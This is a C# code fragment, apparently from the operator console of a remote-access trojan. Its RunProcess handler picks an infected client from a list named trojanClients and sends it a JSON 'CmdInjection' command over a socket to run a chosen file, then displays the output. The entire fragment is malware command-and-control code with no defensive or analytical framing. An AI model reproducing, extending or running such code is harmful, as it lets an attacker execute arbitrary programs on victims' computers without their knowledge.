async void RunProcess(object sender, EventArgs e) { int clientId = serverGUI.GetClientId(); string path = serverGUI.GetFile(); if (clientId >= 0 && !string.IsNullOrEmpty(path)) { var trojanClient = trojanClients[serverGUI.GetClientId()]; var client = trojanClient.Client; // Get a stream object for reading and writing Command command = new Command((int)CommandsEnum.CmdInjection, "\"" + path + "\""); string output = JsonConvert.SerializeObject(command); SendOnSocket(client, output); await ReceiveFromSocket(client, serverGUI.DisplayOutput); } else { serverGUI.DisplayOutput("Select a client and a file."); } }